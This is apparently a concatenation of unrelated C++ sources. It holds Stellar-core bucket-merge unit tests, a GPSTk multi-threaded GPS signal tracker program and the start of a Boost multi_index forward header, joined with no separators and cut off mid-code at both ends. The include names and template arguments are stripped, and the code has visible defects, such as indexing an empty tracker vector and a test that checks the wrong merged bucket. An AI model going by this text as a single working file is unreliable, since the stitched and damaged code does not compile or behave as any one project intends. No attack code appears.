== other; })) { return e; } } } static LedgerEntry generateDifferentAccount(std::vector const& others) { assert( std::all_of(others.begin(), others.end(), [](LedgerEntry const& other) { return other.data.type() == ACCOUNT; })); while (true) { auto e = generateAccount(); if (std::none_of(others.begin(), others.end(), [&](LedgerEntry const& other) { return e.data.account().accountID == other.data.account().accountID; })) { return e; } } } TEST_CASE("merges proceed old-style despite newer shadows", "[bucket][bucketmaxprotocol]") { VirtualClock clock; Config const& cfg = getTestConfig(); Application::pointer app = createTestApplication(clock, cfg); auto& bm = app->getBucketManager(); auto v12 = Bucket::FIRST_PROTOCOL_SHADOWS_REMOVED; auto v11 = v12 - 1; auto v10 = v11 - 1; LedgerEntry liveEntry = generateAccount(); LedgerEntry otherLiveA = generateDifferentAccount({liveEntry}); auto b10first = Bucket::fresh(bm, v10, {}, {liveEntry}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto b10second = Bucket::fresh(bm, v10, {}, {otherLiveA}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto b11first = Bucket::fresh(bm, v11, {}, {liveEntry}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto b11second = Bucket::fresh(bm, v11, {}, {otherLiveA}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto b12first = Bucket::fresh(bm, v12, {}, {liveEntry}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto b12second = Bucket::fresh(bm, v12, {}, {otherLiveA}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); SECTION("shadow version 12") { // With proto 12, new bucket version solely depends on the snap version auto bucket = Bucket::merge(bm, v12, b11first, b11second, /*shadows=*/{b12first}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); REQUIRE(Bucket::getBucketVersion(bucket) == v11); } SECTION("shadow versions mixed, pick lower") { // Merging older version (10) buckets, with mixed versions of shadows // (11, 12) Pick initentry (11) style merge auto bucket = Bucket::merge(bm, v12, b10first, b10second, /*shadows=*/{b12first, b11second}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); REQUIRE(Bucket::getBucketVersion(bucket) == v11); } SECTION("refuse to merge new version with shadow") { REQUIRE_THROWS_AS(Bucket::merge(bm, v12, b12first, b12second, /*shadows=*/{b12first}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true), std::runtime_error); } } TEST_CASE("merges refuse to exceed max protocol version", "[bucket][bucketmaxprotocol]") { VirtualClock clock; Config const& cfg = getTestConfig(); Application::pointer app = createTestApplication(clock, cfg); auto& bm = app->getBucketManager(); auto vers = getAppLedgerVersion(app); LedgerEntry liveEntry = generateAccount(); LedgerEntry otherLiveA = generateDifferentAccount({liveEntry}); auto bold1 = Bucket::fresh(bm, vers - 1, {}, {liveEntry}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto bold2 = Bucket::fresh(bm, vers - 1, {}, {otherLiveA}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto bnew1 = Bucket::fresh(bm, vers, {}, {liveEntry}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto bnew2 = Bucket::fresh(bm, vers, {}, {otherLiveA}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); REQUIRE_THROWS_AS(Bucket::merge(bm, vers - 1, bnew1, bnew2, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true), std::runtime_error); } TEST_CASE("bucket output iterator rejects wrong-version entries", "[bucket][bucketinitoutput]") { VirtualClock clock; Config const& cfg = getTestConfig(); auto vers_new = Bucket::FIRST_PROTOCOL_SUPPORTING_INITENTRY_AND_METAENTRY; BucketMetadata meta; meta.ledgerVersion = vers_new - 1; Application::pointer app = createTestApplication(clock, cfg); auto& bm = app->getBucketManager(); BucketEntry initEntry, metaEntry; initEntry.type(INITENTRY); initEntry.liveEntry() = generateAccount(); metaEntry.type(METAENTRY); metaEntry.metaEntry() = meta; MergeCounters mc; BucketOutputIterator out(bm.getTmpDir(), true, meta, mc, clock.getIOContext(), /*doFsync=*/true); REQUIRE_THROWS_AS(out.put(initEntry), std::runtime_error); REQUIRE_THROWS_AS(out.put(metaEntry), std::runtime_error); } TEST_CASE("merging bucket entries with initentry", "[bucket][initentry]") { VirtualClock clock; Config const& cfg = getTestConfig(); for_versions_with_differing_bucket_logic(cfg, [&](Config const& cfg) { CLOG(INFO, "Bucket") << "=== starting test app == "; Application::pointer app = createTestApplication(clock, cfg); auto& bm = app->getBucketManager(); auto vers = getAppLedgerVersion(app); // Whether we're in the era of supporting or not-supporting INITENTRY. bool initEra = (vers >= Bucket::FIRST_PROTOCOL_SUPPORTING_INITENTRY_AND_METAENTRY); CLOG(INFO, "Bucket") << "=== finished buckets for initial account == "; LedgerEntry liveEntry = generateAccount(); LedgerEntry liveEntry2 = generateSameAccountDifferentState({liveEntry}); LedgerEntry liveEntry3 = generateSameAccountDifferentState({liveEntry, liveEntry2}); LedgerEntry otherLiveA = generateDifferentAccount({liveEntry}); LedgerEntry otherLiveB = generateDifferentAccount({liveEntry, otherLiveA}); LedgerEntry otherLiveC = generateDifferentAccount({liveEntry, otherLiveA, otherLiveB}); LedgerEntry initEntry = generateSameAccountDifferentState( {liveEntry, liveEntry2, liveEntry3}); LedgerEntry initEntry2 = generateSameAccountDifferentState( {initEntry, liveEntry, liveEntry2, liveEntry3}); LedgerEntry otherInitA = generateDifferentAccount({initEntry}); LedgerKey deadEntry = LedgerEntryKey(liveEntry); SECTION("dead and init account entries merge correctly") { auto bInit = Bucket::fresh(bm, vers, {initEntry}, {}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto bDead = Bucket::fresh(bm, vers, {}, {}, {deadEntry}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto b1 = Bucket::merge( bm, cfg.LEDGER_PROTOCOL_VERSION, bInit, bDead, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); // In initEra, the INIT will make it through fresh() to the bucket, // and mutually annihilate on contact with the DEAD, leaving 0 // entries. Pre-initEra, the INIT will downgrade to a LIVE during // fresh(), and that will be killed by the DEAD, leaving 1 // (tombstone) entry. EntryCounts e(b1); CHECK(e.nInit == 0); CHECK(e.nLive == 0); if (initEra) { CHECK(e.nMeta == 1); CHECK(e.nDead == 0); } else { CHECK(e.nMeta == 0); CHECK(e.nDead == 1); } } SECTION("dead and init entries merge with intervening live entries " "correctly") { auto bInit = Bucket::fresh(bm, vers, {initEntry}, {}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto bLive = Bucket::fresh(bm, vers, {}, {liveEntry}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto bDead = Bucket::fresh(bm, vers, {}, {}, {deadEntry}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto bmerge1 = Bucket::merge( bm, cfg.LEDGER_PROTOCOL_VERSION, bInit, bLive, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto b1 = Bucket::merge( bm, cfg.LEDGER_PROTOCOL_VERSION, bmerge1, bDead, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); // The same thing should happen here as above, except that the INIT // will merge-over the LIVE during fresh(). EntryCounts e(b1); CHECK(e.nInit == 0); CHECK(e.nLive == 0); if (initEra) { CHECK(e.nMeta == 1); CHECK(e.nDead == 0); } else { CHECK(e.nMeta == 0); CHECK(e.nDead == 1); } } SECTION("dead and init entries annihilate multiple live entries via " "separate buckets") { auto bold = Bucket::fresh(bm, vers, {initEntry}, {}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto bmed = Bucket::fresh( bm, vers, {}, {otherLiveA, otherLiveB, liveEntry, otherLiveC}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto bnew = Bucket::fresh(bm, vers, {}, {}, {deadEntry}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); EntryCounts eold(bold), emed(bmed), enew(bnew); if (initEra) { CHECK(eold.nMeta == 1); CHECK(emed.nMeta == 1); CHECK(enew.nMeta == 1); CHECK(eold.nInit == 1); CHECK(eold.nLive == 0); } else { CHECK(eold.nMeta == 0); CHECK(emed.nMeta == 0); CHECK(enew.nMeta == 0); CHECK(eold.nInit == 0); CHECK(eold.nLive == 1); } CHECK(eold.nDead == 0); CHECK(emed.nInit == 0); CHECK(emed.nLive == 4); CHECK(emed.nDead == 0); CHECK(enew.nInit == 0); CHECK(enew.nLive == 0); CHECK(enew.nDead == 1); auto bmerge1 = Bucket::merge( bm, cfg.LEDGER_PROTOCOL_VERSION, bold, bmed, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto bmerge2 = Bucket::merge( bm, cfg.LEDGER_PROTOCOL_VERSION, bmerge1, bnew, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); EntryCounts emerge1(bmerge1), emerge2(bmerge2); if (initEra) { CHECK(emerge1.nMeta == 1); CHECK(emerge1.nInit == 1); CHECK(emerge1.nLive == 3); CHECK(emerge2.nMeta == 1); CHECK(emerge2.nDead == 0); } else { CHECK(emerge1.nMeta == 0); CHECK(emerge1.nInit == 0); CHECK(emerge1.nLive == 4); CHECK(emerge2.nMeta == 0); CHECK(emerge2.nDead == 1); } CHECK(emerge1.nDead == 0); CHECK(emerge2.nInit == 0); CHECK(emerge2.nLive == 3); } }); } TEST_CASE("merging bucket entries with initentry with shadows", "[bucket][initentry]") { VirtualClock clock; Config const& cfg = getTestConfig(); for_versions_with_differing_initentry_logic(cfg, [&](Config const& cfg) { CLOG(INFO, "Bucket") << "=== starting test app == "; Application::pointer app = createTestApplication(clock, cfg); auto& bm = app->getBucketManager(); auto vers = getAppLedgerVersion(app); // Whether we're in the era of supporting or not-supporting INITENTRY. bool initEra = (vers >= Bucket::FIRST_PROTOCOL_SUPPORTING_INITENTRY_AND_METAENTRY); CLOG(INFO, "Bucket") << "=== finished buckets for initial account == "; LedgerEntry liveEntry = generateAccount(); LedgerEntry liveEntry2 = generateSameAccountDifferentState({liveEntry}); LedgerEntry liveEntry3 = generateSameAccountDifferentState({liveEntry, liveEntry2}); LedgerEntry otherLiveA = generateDifferentAccount({liveEntry}); LedgerEntry otherLiveB = generateDifferentAccount({liveEntry, otherLiveA}); LedgerEntry otherLiveC = generateDifferentAccount({liveEntry, otherLiveA, otherLiveB}); LedgerEntry initEntry = generateSameAccountDifferentState( {liveEntry, liveEntry2, liveEntry3}); LedgerEntry initEntry2 = generateSameAccountDifferentState( {initEntry, liveEntry, liveEntry2, liveEntry3}); LedgerEntry otherInitA = generateDifferentAccount({initEntry}); LedgerKey deadEntry = LedgerEntryKey(liveEntry); SECTION("shadows influence lifecycle entries appropriately") { // In pre-11 versions, shadows _do_ eliminate lifecycle entries // (INIT/DEAD). In 11-and-after versions, shadows _don't_ eliminate // lifecycle entries. auto shadow = Bucket::fresh(bm, vers, {}, {liveEntry}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto b1 = Bucket::fresh(bm, vers, {initEntry}, {}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto b2 = Bucket::fresh(bm, vers, {otherInitA}, {}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto merged = Bucket::merge(bm, cfg.LEDGER_PROTOCOL_VERSION, b1, b2, /*shadows=*/{shadow}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); EntryCounts e(merged); if (initEra) { CHECK(e.nMeta == 1); CHECK(e.nInit == 2); CHECK(e.nLive == 0); CHECK(e.nDead == 0); } else { CHECK(e.nMeta == 0); CHECK(e.nInit == 0); CHECK(e.nLive == 1); CHECK(e.nDead == 0); } } SECTION("shadowing does not revive dead entries") { // This is the first contrived example of what might go wrong if we // shadowed aggressively while supporting INIT+DEAD annihilation, // and why we had to change the shadowing behaviour when introducing // INIT. See comment in `maybePut` in Bucket.cpp. // // (level1 is newest here, level5 is oldest) auto level1 = Bucket::fresh(bm, vers, {}, {}, {deadEntry}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto level2 = Bucket::fresh(bm, vers, {initEntry2}, {}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto level3 = Bucket::fresh(bm, vers, {}, {}, {deadEntry}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto level4 = Bucket::fresh(bm, vers, {}, {}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto level5 = Bucket::fresh(bm, vers, {initEntry}, {}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); // Do a merge between levels 4 and 3, with shadows from 2 and 1, // risking shadowing-out level 3. Level 4 is a placeholder here, // just to be a thing-to-merge-level-3-with in the presence of // shadowing from 1 and 2. auto merge43 = Bucket::merge(bm, cfg.LEDGER_PROTOCOL_VERSION, level4, level3, /*shadows=*/{level2, level1}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); EntryCounts e43(merge43); if (initEra) { // New-style, we preserve the dead entry. CHECK(e43.nMeta == 1); CHECK(e43.nInit == 0); CHECK(e43.nLive == 0); CHECK(e43.nDead == 1); } else { // Old-style, we shadowed-out the dead entry. CHECK(e43.nMeta == 0); CHECK(e43.nInit == 0); CHECK(e43.nLive == 0); CHECK(e43.nDead == 0); } // Do a merge between level 2 and 1, producing potentially // an annihilation of their INIT and DEAD pair. auto merge21 = Bucket::merge(bm, cfg.LEDGER_PROTOCOL_VERSION, level2, level1, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); EntryCounts e21(merge21); if (initEra) { // New-style, they mutually annihilate. CHECK(e21.nMeta == 1); CHECK(e21.nInit == 0); CHECK(e21.nLive == 0); CHECK(e21.nDead == 0); } else { // Old-style, we keep the tombstone around. CHECK(e21.nMeta == 0); CHECK(e21.nInit == 0); CHECK(e21.nLive == 0); CHECK(e21.nDead == 1); } // Do two more merges: one between the two merges we've // done so far, and then finally one with level 5. auto merge4321 = Bucket::merge(bm, cfg.LEDGER_PROTOCOL_VERSION, merge43, merge21, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto merge54321 = Bucket::merge( bm, cfg.LEDGER_PROTOCOL_VERSION, level5, merge4321, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); EntryCounts e54321(merge21); if (initEra) { // New-style, we should get a second mutual annihilation. CHECK(e54321.nMeta == 1); CHECK(e54321.nInit == 0); CHECK(e54321.nLive == 0); CHECK(e54321.nDead == 0); } else { // Old-style, the tombstone should clobber the live entry. CHECK(e54321.nMeta == 0); CHECK(e54321.nInit == 0); CHECK(e54321.nLive == 0); CHECK(e54321.nDead == 1); } } SECTION("shadowing does not eliminate init entries") { // This is the second less-bad but still problematic contrived // example of what might go wrong if we shadowed aggressively while // supporting INIT+DEAD annihilation, and why we had to change the // shadowing behaviour when introducing INIT. See comment in // `maybePut` in Bucket.cpp. // // (level1 is newest here, level3 is oldest) auto level1 = Bucket::fresh(bm, vers, {}, {}, {deadEntry}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto level2 = Bucket::fresh(bm, vers, {}, {liveEntry}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto level3 = Bucket::fresh(bm, vers, {initEntry}, {}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); // Do a merge between levels 3 and 2, with shadow from 1, risking // shadowing-out the init on level 3. Level 2 is a placeholder here, // just to be a thing-to-merge-level-3-with in the presence of // shadowing from 1. auto merge32 = Bucket::merge(bm, cfg.LEDGER_PROTOCOL_VERSION, level3, level2, /*shadows=*/{level1}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); EntryCounts e32(merge32); if (initEra) { // New-style, we preserve the init entry. CHECK(e32.nMeta == 1); CHECK(e32.nInit == 1); CHECK(e32.nLive == 0); CHECK(e32.nDead == 0); } else { // Old-style, we shadowed-out the live and init entries. CHECK(e32.nMeta == 0); CHECK(e32.nInit == 0); CHECK(e32.nLive == 0); CHECK(e32.nDead == 0); } // Now do a merge between that 3+2 merge and level 1, and we risk // collecting tombstones in the lower levels, which we're expressly // trying to _stop_ doing by adding INIT. auto merge321 = Bucket::merge(bm, cfg.LEDGER_PROTOCOL_VERSION, merge32, level1, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); EntryCounts e321(merge321); if (initEra) { // New-style, init meets dead and they annihilate. CHECK(e321.nMeta == 1); CHECK(e321.nInit == 0); CHECK(e321.nLive == 0); CHECK(e321.nDead == 0); } else { // Old-style, init was already shadowed-out, so dead // accumulates. CHECK(e321.nMeta == 0); CHECK(e321.nInit == 0); CHECK(e321.nLive == 0); CHECK(e321.nDead == 1); } } }); } TEST_CASE("bucket apply", "[bucket]") { VirtualClock clock; Config cfg(getTestConfig()); for_versions_with_differing_bucket_logic(cfg, [&](Config const& cfg) { Application::pointer app = createTestApplication(clock, cfg); app->start(); std::vector live(10), noLive; std::vector dead, noDead; for (auto& e : live) { e.data.type(ACCOUNT); auto& a = e.data.account(); a = LedgerTestUtils::generateValidAccountEntry(5); a.balance = 1000000000; dead.emplace_back(LedgerEntryKey(e)); } std::shared_ptr birth = Bucket::fresh( app->getBucketManager(), getAppLedgerVersion(app), {}, live, noDead, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); std::shared_ptr death = Bucket::fresh( app->getBucketManager(), getAppLedgerVersion(app), {}, noLive, dead, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); CLOG(INFO, "Bucket") << "Applying bucket with " << live.size() << " live entries"; birth->apply(*app); { auto count = app->getLedgerTxnRoot().countObjects(ACCOUNT); REQUIRE(count == live.size() + 1 /* root account */); } CLOG(INFO, "Bucket") << "Applying bucket with " << dead.size() << " dead entries"; death->apply(*app); { auto count = app->getLedgerTxnRoot().countObjects(ACCOUNT); REQUIRE(count == 1 /* root account */); } }); } TEST_CASE("bucket apply bench", "[bucketbench][!hide]") { auto runtest = [](Config::TestDbMode mode) { VirtualClock clock; Config cfg(getTestConfig(0, mode)); Application::pointer app = createTestApplication(clock, cfg); app->start(); std::vector live(100000); std::vector noDead; for (auto& l : live) { l.data.type(ACCOUNT); auto& a = l.data.account(); a = LedgerTestUtils::generateValidAccountEntry(5); } std::shared_ptr birth = Bucket::fresh( app->getBucketManager(), getAppLedgerVersion(app), {}, live, noDead, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); CLOG(INFO, "Bucket") << "Applying bucket with " << live.size() << " live entries"; // note: we do not wrap the `apply` call inside a transaction // as bucket applicator commits to the database incrementally birth->apply(*app); }; SECTION("sqlite") { runtest(Config::TESTDB_ON_DISK_SQLITE); } #ifdef USE_POSTGRES SECTION("postgresql") { runtest(Config::TESTDB_POSTGRESQL); } #endif } //============================================================================ // // This file is part of GPSTk, the GPS Toolkit. // // The GPSTk is free software; you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published // by the Free Software Foundation; either version 3.0 of the License, or // any later version. // // The GPSTk is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public // License along with GPSTk; if not, write to the Free Software Foundation, // Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110, USA // // Copyright 2004, The University of Texas at Austin // //============================================================================ //============================================================================ // //This software developed by Applied Research Laboratories at the University of //Texas at Austin, under contract to an agency or agencies within the U.S. //Department of Defense. The U.S. Government retains all rights to use, //duplicate, distribute, disclose, or release this software. // //Pursuant to DoD Directive 523024 // // DISTRIBUTION STATEMENT A: This software has been approved for public // release, distribution is unlimited. // //============================================================================= /* g++ -c -o trackerMT.o -O -I. -I/.../gpstk/dev/apps/swrx -I/.../gpstk/dev/src trackerMT.cpp g++ -o trackerMT trackerMT.o /.../gpstk/dev/apps/swrx/simlib.a /.../gpstk/dev/src/libgpstk.a -lm -lstdc++ -lfftw3 -lm -lpthread */ /* The first cut at a parallel tracker for multiple PRNs. */ #include #include #include #include #include #include "BasicFramework.hpp" #include "CommandOption.hpp" #include "StringUtils.hpp" #include "GNSSconstants.hpp" #include "EMLTracker.hpp" #include "CCReplica.hpp" #include "CACodeGenerator.hpp" #include "PCodeGenerator.hpp" #include "complex_math.h" #include "IQStream.hpp" #include "NavFramer.hpp" using namespace gpstk; using namespace std; /* exp10() is a gnu specific extensions */ #ifndef exp10 #define exp10(x) (exp((x)*log(10.))) #endif struct Buffer // input buffer { vector< complex > arr; }; struct Par // Parameters to pass to Pthread function. { int dp; int bufferSize; EMLTracker *tr; Buffer *s; int *count; NavFramer *nf; bool v; }; extern "C" void *Cfunction(void*); // C-style function to be called with pthreads //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- class RxSim : public BasicFramework { public: RxSim() throw(); #pragma clang diagnostic push #pragma clang diagnostic ignored "-Woverloaded-virtual" bool initialize(int argc, char *argv[]) throw(); #pragma clang diagnostic pop void function(EMLTracker *tr, int dp, int *count, complex s, NavFramer *nf); protected: virtual void process(); private: CCReplica* cc; vector tr; int band; double gain; bool fakeL2; int sat; double timeStep; // Time between samples double interFreq; // Intermediate frequency from receive double timeLimit; IQStream *input; unsigned iadMax; int numTrackers; }; //----------------------------------------------------------------------------- RxSim::RxSim() throw() : BasicFramework("rxSim", "A simulation of a gps receiver."), cc(NULL), tr(0), band(1), gain(1), fakeL2(false), timeStep(50e-9), interFreq(0.42e6), timeLimit(9e99), input(NULL), iadMax(20460) {} bool RxSim::initialize(int argc, char *argv[]) throw() { using namespace gpstk::StringUtils; CommandOptionWithAnyArg codeOpt('c', "code", "The code/carrier to track. ARG takes the form of " "code:carrier:prn:offset:doppler. Code is either c or p. " "Carrier is either 1 or 2. Prn is an integer between 1 and 32. " "Offset is a number in us, Doppler is a number in Hz. Currently, " "only one signal can be specified. For example, to track P code " "on L2 for PRN 3, with no initial time or doppler offset, " "specify -c p:2:3:0:0"), dllAlphaOpt('\0', "dllAlpha", "The gain on the phase update for the code tracker. The " "default is 1e-5 chips/tick"), dllBetaOpt('\0', "dllBeta", "The gain on the frequency update for the code tracker. The " "default is 1e-12 chips/tick"), pllAlphaOpt('\0', "pllAlpha", "The gain on the phase update for the carrier tracker. The " "default is 0.4 cycles/tick"), pllBetaOpt('\0', "pllBeta", "The gain on the frequency update for the carrier tracker. " "The default is 0.1 cycles / iad_period"), sampleRateOpt('r',"sample-rate", "Specifies the nominal sample rate, in MHz. The " "default is 20 MHz."), interFreqOpt('x',"inter-freq", "Specifies the intermediate frequency of the receiver," " in MHz. Default is 0.42 MHz. If there is no down-" "conversion, the IF should be the L1 or L2 carrier" " frequency" ), quantizationOpt('q', "quantization", "They quantization applied to the data. 1, 2 or f. " "The default is f."), gainOpt('g', "gain", "Gain to apply to the if prior to digitization, in dB. Default is 0."), timeLimitOpt('t', "time-limit", "Limit the amount of data to process. Specify time in ms. Defaults to all data."), inputOpt('i', "input", "Where to get the IQ samples from. The default is to use stdin."); CommandOptionWithNumberArg bandsOpt('b', "bands", "The number of complex samples per epoch. The default is 2."); if (!BasicFramework::initialize(argc,argv)) return false; if (timeLimitOpt.getCount()) timeLimit = asDouble(timeLimitOpt.getValue()[0]) * 1e-3; if (!codeOpt.getCount()) { cout << "Must specify a code/carrier to track. Bye." << endl; return false; } if (sampleRateOpt.getCount()) timeStep = 1/(asDouble(sampleRateOpt.getValue().front()) * 1e6 ); if (interFreqOpt.getCount()) interFreq = asDouble(interFreqOpt.getValue().front()) * 1e6; numTrackers = codeOpt.getCount(); for (int i=0; i < (int)codeOpt.getCount(); i++) { string val=codeOpt.getValue()[i]; const char delim(':'); if (numWords(val, delim) != 5) { cout << "Error in code parameter:" << val << endl; return false; } string code = lowerCase(word(val, 0, delim)); band = asInt(word(val, 1, delim)); int prn = asInt(word(val, 2, delim)); double offset = asDouble(word(val, 3, delim)) * 1e-6; double doppler = asDouble(word(val, 4, delim)); CodeGenerator* codeGenPtr; double chipFreq; switch (code[0]) { case 'c': codeGenPtr = new CACodeGenerator(prn); chipFreq = CA_CHIP_FREQ_GPS; break; case 'p': codeGenPtr = new PCodeGenerator(prn); chipFreq = PY_CHIP_FREQ_GPS; break; default: cout << "Unsupported code: " << code << endl; return false; } // Note that this object is responsible for destroying // the codeGenPtr object cc = new CCReplica(timeStep, chipFreq, interFreq, codeGenPtr); double chips = offset / cc->codeChipLen; cc->moveCodePhase(chips); cc->setCodeFreqOffsetHz(doppler); cc->setCarrierFreqOffsetHz(doppler); double spacing = 0.5 * cc->codeChipLen; if (spacing < timeStep) spacing = timeStep; tr[i] = new EMLTracker(*cc, spacing); if (dllAlphaOpt.getCount()) tr[i]->dllAlpha = asDouble(dllAlphaOpt.getValue()[0]); if (dllBetaOpt.getCount()) tr[i]->dllBeta = asDouble(dllBetaOpt.getValue()[0]); if (pllAlphaOpt.getCount()) tr[i]->pllAlpha = asDouble(pllAlphaOpt.getValue()[0]); if (pllBetaOpt.getCount()) tr[i]->pllBeta = asDouble(pllBetaOpt.getValue()[0]); tr[i]->prn = prn; tr[i]->debugLevel = debugLevel; if(verboseLevel) tr[i]->dump(cout, 1); } char quantization='f'; if (quantizationOpt.getCount()) quantization = quantizationOpt.getValue()[0][0]; switch (quantization) { case '1': input = new IQ1Stream(); break; case '2': input = new IQ2Stream(); break; case 'f': default: input = new IQFloatStream(); break; } if (inputOpt.getCount()) { input->open(inputOpt.getValue()[0].c_str()); } else { using std::basic_ios; input->copyfmt(std::cin); input->clear(std::cin.rdstate()); input->basic_ios::rdbuf(std::cin.rdbuf()); input->filename = ""; } if (bandsOpt.getCount()) input->bands = asInt(bandsOpt.getValue()[0]); if (gainOpt.getCount()) { double gainDb = StringUtils::asDouble(gainOpt.getValue()[0]); gain = exp10(gainDb/10.); } if (verboseLevel) { cout << "# Taking input from " << input->filename << " (" << input->bands << " samples/epoch)" << endl << "# Rx gain level: " << gain << endl; } return true; } //----------------------------------------------------------------------------- void RxSim::process() { pthread_t *thread_id = new pthread_t[numTrackers]; pthread_attr_t attr; int rc; void *status; vector p(numTrackers); vector nf(numTrackers); long int dataPoint =0; vector count(numTrackers); pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); for(int i=0;i s; while (*input >> s) { Buffer b; b.arr.push_back(s); dataPoint++; int index = 0; int bufferSize = 40*16367; while(index < bufferSize) // Fill input buffer { *input >> s; b.arr.push_back(s); index++; dataPoint++; } for(int i = 0; i < numTrackers; i++) { p[i].dp = dataPoint; // Set parameters for each tracker. p[i].bufferSize = bufferSize; p[i].s = &b; p[i].count = &count[i]; p[i].tr = tr[i]; p[i].nf = &nf[i]; p[i].v = (verboseLevel); // Split rc = pthread_create( &thread_id[i], &attr, Cfunction, &p[i] ) ; if (rc) { printf("ERROR; return code from pthread_create() is %d\n", rc); exit(-1); } } // Join for(int i = 0; i < numTrackers; i++) { rc = pthread_join( thread_id[i], &status) ; if (rc) { printf("ERROR; return code from pthread_join() is %d\n", rc); exit(-1); } } if (cc->localTime > timeLimit) break; } delete thread_id; pthread_attr_destroy(&attr); } //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- int main(int argc, char *argv[]) { try { RxSim crap; if (!crap.initialize(argc, argv)) exit(0); crap.run(); } catch (gpstk::Exception &exc) { cerr << exc << endl; } catch (std::exception &exc) { cerr << "Caught std::exception " << exc.what() << endl; } catch (...) { cerr << "Caught unknown exception" << endl; } } void *Cfunction(void* p) { Par *par = (Par*)p; EMLTracker *tr = par->tr; int *count = par->count; NavFramer *nf = par->nf; int bufferSize = par->bufferSize; int dp = par->dp - bufferSize; Buffer *b = par->s; bool v = par->v; int index = 0; while(index < bufferSize + 1) // number of data points to track before join. { if (tr->process(b->arr[index])) { if(v) tr->dump(cout); if(tr->navChange) { nf->process(*tr, dp, (float)tr->localReplica.getCodePhaseOffsetSec()*1e6); *count = 0; } if(*count == 20) // The *20* depends on the tracker updating every C/A period. { *count = 0; nf->process(*tr, dp, (float)tr->localReplica.getCodePhaseOffsetSec()*1e6); } *count = *count + 1; } index++; dp++; } pthread_exit(NULL); return NULL; } /* Copyright 2003-2013 . * Distributed under the Boost Software License, Version 1.0. * (See accompanying file LICENSE_1_0.txt or copy at * http://www.boost.org/LICENSE_1_0.txt) * * See http://www.boost.org/libs/multi_index for library home page. */ #ifndef QSBOOST_MULTI_INDEX_SEQUENCED_INDEX_FWD_HPP #define QSBOOST_MULTI_INDEX_SEQUENCED_INDEX_FWD_HPP #if defined(_MSC_VER) #pragma once #endif #include namespace qsboost{ namespace multi_index{ namespace detail{ template class 